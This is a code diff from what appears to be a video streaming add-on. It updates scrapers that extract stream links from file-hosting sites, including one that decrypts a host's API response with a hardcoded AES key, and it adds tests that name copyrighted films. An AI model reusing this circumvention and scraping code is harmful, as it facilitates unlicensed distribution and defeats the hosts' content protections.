return { ...urlResult, url: extractUrl };
|
||||
});
|
||||
}
|
||||
|
||||
this.logger.info(`Extract ${url} using ${extractor.id} extractor`, ctx);
|
||||
|
||||
const urlResults = await extractor.extract(ctx, normalizedUrl, { ...meta, countryCodes: meta?.countryCodes ?? [] });
|
||||
const mergedMeta: Meta = { ...meta, ...lazyUrlResults[0]?.meta };
|
||||
const urlResults = await extractor.extract(ctx, normalizedUrl, { extractorId: extractor.id, ...mergedMeta });
|
||||
|
||||
if (!urlResults.some(urlResult => urlResult.error) && extractor.ttl) {
|
||||
await this.urlResultCache.set<UrlResult[]>(cacheKey, urlResults, extractor.ttl);
|
||||
if (!Object.keys(mergedMeta).length || urlResults.some(urlResult => urlResult.error)) {
|
||||
await this.urlResultCache.delete(cacheKey);
|
||||
await this.lazyUrlResultCache.delete(normalizedUrl.href);
|
||||
|
||||
return urlResults;
|
||||
}
|
||||
|
||||
const ttl = urlResults.length ? extractor.ttl : 43200000; // 12h
|
||||
|
||||
await this.urlResultCache.set<UrlResult[]>(cacheKey, urlResults, ttl);
|
||||
|
||||
if (extractor.id !== 'external') {
|
||||
await this.lazyUrlResultCache.set<UrlResult[]>(normalizedUrl.href, urlResults, 2629800000); // 1 month
|
||||
}
|
||||
|
||||
return urlResults;
|
||||
};
|
||||
|
||||
private randomInteger(min: number, max: number) {
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
private determineCacheKey(ctx: Context, extractor: Extractor, url: URL): string {
|
||||
let suffix = '';
|
||||
if (extractor.viaMediaFlowProxy) {
|
||||
suffix += `_${ctx.config.mediaFlowProxyUrl}`;
|
||||
}
|
||||
if (extractor.cacheVersion) {
|
||||
suffix += `_${extractor.cacheVersion}`;
|
||||
}
|
||||
|
||||
return `${extractor.id}_${url}${suffix}`;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -13,4 +13,8 @@ describe('Fastream', () => {
|
|||
test('fastream.to embed', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://fastream.to/embed-3aooif4ozt10.html'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('expired or deleted', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://fastream.to/embed-a9rp1d1pqom7.html'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,12 +1,13 @@
|
|||
import bytes from 'bytes';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class Fastream extends Extractor {
|
||||
public readonly id = 'fastream';
|
||||
|
||||
public readonly label = 'Fastream (via MediaFlow Proxy)';
|
||||
public readonly label = 'Fastream';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
|
|
@ -18,14 +19,18 @@ export class Fastream extends Extractor {
|
|||
return new URL(url.href.replace('/e/', '/embed-').replace('/d/', '/embed-'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Fastream', url, headers);
|
||||
|
||||
const downloadUrl = new URL(url.href.replace('/embed-', '/d/'));
|
||||
const html = await this.fetcher.text(ctx, downloadUrl, { headers });
|
||||
|
||||
if (/No such file/.test(html)) {
|
||||
throw new NotFoundError();
|
||||
}
|
||||
|
||||
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Fastream', url, headers);
|
||||
|
||||
const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/) as string[];
|
||||
const titleMatch = html.match(/>Download (.*?)</) as string[];
|
||||
|
||||
|
|
@ -33,9 +38,6 @@ export class Fastream extends Extractor {
|
|||
{
|
||||
url: playlistUrl,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
bytes: bytes.parse(heightAndSizeMatch[2] as string) as number,
|
||||
|
|
|
|||
|
|
@ -21,4 +21,8 @@ describe('FileLions', () => {
|
|||
test('file not found', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://filelions.to/v/ylcp2cu5qanb'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('deleted by administration', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://callistanise.com/f/cy4t5nkerjrt'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy, unpackEval } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
|
|
@ -9,7 +9,7 @@ import { Extractor } from './Extractor';
|
|||
export class FileLions extends Extractor {
|
||||
public readonly id = 'filelions';
|
||||
|
||||
public readonly label = 'FileLions (via MediaFlow Proxy)';
|
||||
public readonly label = 'FileLions';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
|
|
@ -22,17 +22,19 @@ export class FileLions extends Extractor {
|
|||
'anime7u.com',
|
||||
'azipcdn.com',
|
||||
'bingezove.com',
|
||||
'callistanise.com',
|
||||
'coolciima.online',
|
||||
'dhtpre.com',
|
||||
'dingtezuni.com',
|
||||
'dintezuvio.com',
|
||||
'e4xb5c2xnz.sbs',
|
||||
'egsyxutd.sbs',
|
||||
'fdewsdc.sbs',
|
||||
'gsfomqu.sbs',
|
||||
'javplaya.com',
|
||||
'katomen.online',
|
||||
'kinoger.be',
|
||||
'lumiawatch.top',
|
||||
'minochinos.com',
|
||||
'mivalyo.com',
|
||||
'moflix-stream.click',
|
||||
'motvy55.store',
|
||||
|
|
@ -60,7 +62,7 @@ export class FileLions extends Extractor {
|
|||
return new URL(url.href.replace('/v/', '/f/').replace('/download/', '/f/').replace('/file/', '/f/'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -69,7 +71,7 @@ export class FileLions extends Extractor {
|
|||
return await this.extractInternal(ctx, new URL(url.href.replace('/f/', '/v/')), meta);
|
||||
}
|
||||
|
||||
if (/File Not Found/.test(html)) {
|
||||
if (/File Not Found|deleted by administration/.test(html)) {
|
||||
throw new NotFoundError();
|
||||
}
|
||||
|
||||
|
|
@ -85,9 +87,6 @@ export class FileLions extends Extractor {
|
|||
{
|
||||
url: await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileLions', url, headers),
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
height: parseInt(heightMatch[1] as string),
|
||||
|
|
|
|||
|
|
@ -17,4 +17,8 @@ describe('FileMoon', () => {
|
|||
test('page not found', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.sx/e/n7i8zodwjqr9'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('missing height', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.to/d/ugj7f1kq94p1'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import {
|
||||
buildMediaFlowProxyExtractorStreamUrl,
|
||||
supportsMediaFlowProxy,
|
||||
|
|
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
|
|||
export class FileMoon extends Extractor {
|
||||
public readonly id = 'filemoon';
|
||||
|
||||
public readonly label = 'FileMoon (via MediaFlow Proxy)';
|
||||
public readonly label = 'FileMoon';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
|
|
@ -45,7 +45,7 @@ export class FileMoon extends Extractor {
|
|||
return new URL(url.href.replace('/e/', '/d/'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta, originalUrl?: URL): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta, originalUrl?: URL): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -57,26 +57,24 @@ export class FileMoon extends Extractor {
|
|||
const $ = cheerio.load(html);
|
||||
const title = $('h3').text().trim();
|
||||
|
||||
const iframeUrlMatch = html.match(/iframe.*?src=["'](.*?)["']/);
|
||||
if (iframeUrlMatch && iframeUrlMatch[1]) {
|
||||
return await this.extractInternal(ctx, new URL(iframeUrlMatch[1]), { title, ...meta }, url);
|
||||
const iframeUrlMatches = Array.from(html.matchAll(/iframe.*?src=["'](.*?)["']/g));
|
||||
if (iframeUrlMatches.length) {
|
||||
// Use last match because there can be fake adblock catcher urls before
|
||||
return await this.extractInternal(ctx, new URL((iframeUrlMatches[iframeUrlMatches.length - 1] as RegExpExecArray)[1] as string), { title, ...meta }, url);
|
||||
}
|
||||
|
||||
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileMoon', originalUrl as URL, headers);
|
||||
|
||||
const unpacked = unpackEval(html);
|
||||
const heightMatch = unpacked.match(/(\d{3,})p/) as string[];
|
||||
const heightMatch = unpacked.match(/(\d{3,})p/);
|
||||
|
||||
return [
|
||||
{
|
||||
url: playlistUrl,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
height: parseInt(heightMatch[1] as string),
|
||||
...(heightMatch && { height: parseInt(heightMatch[1] as string) }),
|
||||
},
|
||||
},
|
||||
];
|
||||
|
|
|
|||
16
src/extractor/Fsst.test.ts
Normal file
16
src/extractor/Fsst.test.ts
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
import winston from 'winston';
|
||||
import { createTestContext } from '../test';
|
||||
import { FetcherMock } from '../utils';
|
||||
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||
import { Fsst } from './Fsst';
|
||||
|
||||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||
const extractorRegistry = new ExtractorRegistry(logger, [new Fsst(new FetcherMock(`${__dirname}/__fixtures__/Fsst`))]);
|
||||
|
||||
const ctx = createTestContext();
|
||||
|
||||
describe('Fsst', () => {
|
||||
test('Wake up Dead Man', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://fsst.online/embed/948429/'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
41
src/extractor/Fsst.ts
Normal file
41
src/extractor/Fsst.ts
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
import * as cheerio from 'cheerio';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class Fsst extends Extractor {
|
||||
public readonly id = 'fsst';
|
||||
|
||||
public readonly label = 'Fsst';
|
||||
|
||||
public override readonly ttl: number = 10800000; // 3h
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/fsst/);
|
||||
};
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers, noProxyHeaders: true });
|
||||
|
||||
const $ = cheerio.load(html);
|
||||
const title = $('title').text().trim();
|
||||
|
||||
const filesMatch = html.match(/file:"(.*)"/) as string[];
|
||||
|
||||
const lastFile = (filesMatch[1] as string).split(',').pop() as string;
|
||||
|
||||
const heightAndUrlMatch = lastFile.match(/\[?([\d]*)p?]?(.*)/) as string[];
|
||||
const fileHref = heightAndUrlMatch[2] as string;
|
||||
|
||||
return [{
|
||||
url: await this.fetcher.getFinalRedirectUrl(ctx, new URL(fileHref), { headers, noProxyHeaders: true }, 1),
|
||||
format: Format.mp4,
|
||||
meta: {
|
||||
...meta,
|
||||
height: parseInt(heightAndUrlMatch[1] as string),
|
||||
title,
|
||||
},
|
||||
}];
|
||||
};
|
||||
}
|
||||
|
|
@ -21,4 +21,8 @@ describe('HubCloud', () => {
|
|||
test('handle dark 2017 s03e08', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.one/drive/nknlofk8snfnknh'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('handle goat 2026', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.foo/drive/p94k4dccjwxjcx4'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { findCountryCodes, findHeight } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class HubCloud extends Extractor {
|
||||
|
|
@ -8,13 +9,15 @@ export class HubCloud extends Extractor {
|
|||
|
||||
public readonly label = 'HubCloud';
|
||||
|
||||
public override readonly ttl: number = 259200000; // 3d
|
||||
public override readonly ttl: number = 43200000; // 12h
|
||||
|
||||
public override readonly cacheVersion = 1;
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/hubcloud/);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const redirectHtml = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -23,12 +26,16 @@ export class HubCloud extends Extractor {
|
|||
const linksHtml = await this.fetcher.text(ctx, new URL(redirectUrlMatch[1] as string), { headers: { Referer: url.href } });
|
||||
const $ = cheerio.load(linksHtml);
|
||||
|
||||
const urlResults = [
|
||||
const title = $('title').text().trim();
|
||||
const countryCodes = [...new Set([...meta.countryCodes ?? [], ...findCountryCodes(title)])];
|
||||
const height = meta.height ?? findHeight(title);
|
||||
|
||||
return Promise.all([
|
||||
...$('a')
|
||||
.filter((_i, el) => {
|
||||
const text = $(el).text();
|
||||
|
||||
return text.includes('FSL') || text.includes('Download File');
|
||||
return text.includes('FSL') && !text.includes('FSLv2');
|
||||
})
|
||||
.map((_i, el) => {
|
||||
const url = new URL($(el).attr('href') as string);
|
||||
|
|
@ -36,48 +43,60 @@ export class HubCloud extends Extractor {
|
|||
url,
|
||||
format: Format.unknown,
|
||||
label: `${this.label} (FSL)`,
|
||||
sourceId: `${this.id}_fsl`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
bytes: bytes.parse($('#size').text()) as number,
|
||||
title: $('title').text().trim(),
|
||||
extractorId: `${this.id}_fsl`,
|
||||
countryCodes,
|
||||
height,
|
||||
title,
|
||||
},
|
||||
};
|
||||
}).toArray(),
|
||||
...$('a')
|
||||
.filter((_i, el) => {
|
||||
const text = $(el).text();
|
||||
|
||||
return text.includes('FSLv2');
|
||||
})
|
||||
.map((_i, el) => {
|
||||
const url = new URL($(el).attr('href') as string);
|
||||
return {
|
||||
url,
|
||||
format: Format.unknown,
|
||||
label: `${this.label} (FSLv2)`,
|
||||
meta: {
|
||||
...meta,
|
||||
bytes: bytes.parse($('#size').text()) as number,
|
||||
extractorId: `${this.id}_fslv2`,
|
||||
countryCodes,
|
||||
height,
|
||||
title,
|
||||
},
|
||||
};
|
||||
}).toArray(),
|
||||
...$('a')
|
||||
.filter((_i, el) => $(el).text().includes('PixelServer'))
|
||||
.map((_i, el) => {
|
||||
const url = new URL(($(el).attr('href') as string).replace('/u/', '/api/file/'));
|
||||
const userUrl = new URL(($(el).attr('href') as string).replace('/api/file/', '/u/'));
|
||||
const url = new URL(userUrl.href.replace('/u/', '/api/file/'));
|
||||
url.searchParams.set('download', '');
|
||||
|
||||
return {
|
||||
url,
|
||||
format: Format.unknown,
|
||||
label: `${this.label} (PixelServer)`,
|
||||
sourceId: `${this.id}_pixelserver`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
bytes: bytes.parse($('#size').text()) as number,
|
||||
title: $('title').text().trim(),
|
||||
extractorId: `${this.id}_pixelserver`,
|
||||
countryCodes,
|
||||
height,
|
||||
title,
|
||||
},
|
||||
requestHeaders: { Referer: userUrl.href },
|
||||
};
|
||||
}).toArray(),
|
||||
];
|
||||
|
||||
return this.asyncFilter(urlResults, async ({ url }) => {
|
||||
try {
|
||||
await this.fetcher.head(ctx, url);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
});
|
||||
]);
|
||||
};
|
||||
|
||||
private async asyncFilter<T>(array: T[], asyncCallback: (item: T) => Promise<boolean>): Promise<T[]> {
|
||||
const results = await Promise.all(array.map(asyncCallback));
|
||||
|
||||
return array.filter((_, index) => results[index]);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
29
src/extractor/HubDrive.test.ts
Normal file
29
src/extractor/HubDrive.test.ts
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
import winston from 'winston';
|
||||
import { createTestContext } from '../test';
|
||||
import { FetcherMock } from '../utils';
|
||||
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||
import { HubCloud } from './HubCloud';
|
||||
import { HubDrive } from './HubDrive';
|
||||
|
||||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||
const extractorRegistry = new ExtractorRegistry(
|
||||
logger,
|
||||
[
|
||||
new HubDrive(
|
||||
new FetcherMock(`${__dirname}/__fixtures__/HubDrive`),
|
||||
new HubCloud(new FetcherMock(`${__dirname}/__fixtures__/HubDrive/HubCloud`)),
|
||||
),
|
||||
],
|
||||
);
|
||||
|
||||
const ctx = createTestContext();
|
||||
|
||||
describe('HubDrive', () => {
|
||||
test('handle avatar', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://hubdrive.space/file/7283903021'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('handle missing hubcloud', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://hubdrive.space/file/2243124026'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
40
src/extractor/HubDrive.ts
Normal file
40
src/extractor/HubDrive.ts
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
import * as cheerio from 'cheerio';
|
||||
import { Context, InternalUrlResult, Meta } from '../types';
|
||||
import { Fetcher } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
import { HubCloud } from './HubCloud';
|
||||
|
||||
export class HubDrive extends Extractor {
|
||||
public readonly id = 'hubdrive';
|
||||
|
||||
public readonly label = 'HubDrive';
|
||||
|
||||
public override readonly ttl: number = 43200000; // 12h
|
||||
|
||||
public override readonly cacheVersion = 1;
|
||||
|
||||
private readonly hubCloud: HubCloud;
|
||||
|
||||
public constructor(fetcher: Fetcher, hubCloud: HubCloud) {
|
||||
super(fetcher);
|
||||
|
||||
this.hubCloud = hubCloud;
|
||||
}
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/hubdrive/);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
const $ = cheerio.load(html);
|
||||
|
||||
const hubCloudUrl = $('a:contains("HubCloud")')
|
||||
.map((_i, el) => new URL($(el).attr('href') as string))
|
||||
.get(0);
|
||||
|
||||
return hubCloudUrl ? this.hubCloud.extract(ctx, hubCloudUrl, meta) : [];
|
||||
};
|
||||
}
|
||||
|
|
@ -17,4 +17,12 @@ describe('KinoGer', () => {
|
|||
test('Dead City', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.re/#x6tsx9'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('filma365.strp2p.site', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://filma365.strp2p.site/#vih6bx'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('kinoger.p2pplay.pro', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.p2pplay.pro/#k53k9'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
import crypto from 'crypto';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { guessHeightFromPlaylist } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
|
|
@ -17,12 +17,19 @@ export class KinoGer extends Extractor {
|
|||
'disneycdn.net',
|
||||
'dzo.vidplayer.live',
|
||||
'filedecrypt.link',
|
||||
'filma365.strp2p.site',
|
||||
'flimmer.rpmvip.com',
|
||||
'flixfilmesonline.strp2p.site',
|
||||
'kinoger.p2pplay.pro',
|
||||
'kinoger.re',
|
||||
'moflix.rpmplay.xyz',
|
||||
'moflix.upns.xyz',
|
||||
'player.upn.one',
|
||||
'securecdn.shop',
|
||||
'shiid4u.upn.one',
|
||||
'srbe84.vidplayer.live',
|
||||
'strp2p.site',
|
||||
't1.p2pplay.pro',
|
||||
'tuktuk.rpmvid.com',
|
||||
'ultrastream.online',
|
||||
'videoland.cfd',
|
||||
|
|
@ -36,36 +43,35 @@ export class KinoGer extends Extractor {
|
|||
return new URL(`${url.origin}/api/v1/video?id=${url.hash.slice(1)}`);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
const headers = { 'Referer': meta.referer ?? url.href, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36' };
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = {
|
||||
'Origin': url.origin,
|
||||
'Referer': url.origin + '/',
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
|
||||
};
|
||||
|
||||
const hexData = await this.fetcher.text(ctx, url, { headers });
|
||||
|
||||
const encrypted = Buffer.from(hexData, 'hex');
|
||||
const encrypted = Buffer.from(hexData.slice(0, -1), 'hex');
|
||||
const key = Buffer.from('6b69656d7469656e6d75613931316361', 'hex');
|
||||
const iv = Buffer.from('313233343536373839306f6975797472', 'hex');
|
||||
const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
|
||||
const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]).toString();
|
||||
|
||||
const { cf, title } = JSON.parse(decrypted) as { cf: string; title: string };
|
||||
const { source, title } = JSON.parse(decrypted) as { source: string; title: string };
|
||||
|
||||
const m3u8Url = new URL(cf);
|
||||
const m3u8Url = new URL(source);
|
||||
|
||||
return [
|
||||
{
|
||||
url: new URL(cf),
|
||||
url: m3u8Url,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: url.href } }),
|
||||
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers }),
|
||||
title,
|
||||
},
|
||||
requestHeaders: {
|
||||
Referer: url.origin,
|
||||
},
|
||||
requestHeaders: headers,
|
||||
},
|
||||
];
|
||||
};
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import {
|
||||
buildMediaFlowProxyExtractorStreamUrl,
|
||||
supportsMediaFlowProxy,
|
||||
|
|
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
|
|||
export class LuluStream extends Extractor {
|
||||
public readonly id = 'lulustream';
|
||||
|
||||
public readonly label = 'LuluStream (via MediaFlow Proxy)';
|
||||
public readonly label = 'LuluStream';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
|
|
@ -29,12 +29,12 @@ export class LuluStream extends Extractor {
|
|||
}
|
||||
|
||||
public override normalize(url: URL): URL {
|
||||
const videoId = url.pathname.split('/').at(-1) as string;
|
||||
const videoId = url.pathname.replace(/\/+$/, '').split('/').at(-1) as string;
|
||||
|
||||
return new URL(`/e/${videoId}`, url);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const fileUrl = new URL(url.href.replace('/e/', '/d/'));
|
||||
|
|
@ -55,9 +55,6 @@ export class LuluStream extends Extractor {
|
|||
{
|
||||
url: playlistUrl,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title,
|
||||
|
|
|
|||
|
|
@ -1,24 +1,24 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class Mixdrop extends Extractor {
|
||||
public readonly id = 'mixdrop';
|
||||
|
||||
public readonly label = 'Mixdrop (via MediaFlow Proxy)';
|
||||
public readonly label = 'Mixdrop';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
public supports(ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/mixdrop/) && supportsMediaFlowProxy(ctx);
|
||||
return null !== url.host.match(/mixdrop|mixdrp|mixdroop|m1xdrop/) && supportsMediaFlowProxy(ctx);
|
||||
}
|
||||
|
||||
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/f/', '/e/'));
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const fileUrl = new URL(url.href.replace('/e/', '/f/'));
|
||||
const html = await this.fetcher.text(ctx, fileUrl);
|
||||
|
||||
|
|
@ -35,9 +35,6 @@ export class Mixdrop extends Extractor {
|
|||
{
|
||||
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Mixdrop', url),
|
||||
format: Format.mp4,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
bytes: bytes.parse((sizeMatch[1] as string).replace(',', '')) as number,
|
||||
|
|
|
|||
24
src/extractor/RgShows.test.ts
Normal file
24
src/extractor/RgShows.test.ts
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
import winston from 'winston';
|
||||
import { createTestContext } from '../test';
|
||||
import { FetcherMock } from '../utils';
|
||||
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||
import { RgShows } from './RgShows';
|
||||
|
||||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||
const extractorRegistry = new ExtractorRegistry(logger, [new RgShows(new FetcherMock(`${__dirname}/__fixtures__/RgShows`))]);
|
||||
|
||||
const ctx = createTestContext();
|
||||
|
||||
describe('RgShows', () => {
|
||||
test('handle one battle after another', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/movie/1054867'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('handle stranger things s05e01', async () => {
|
||||
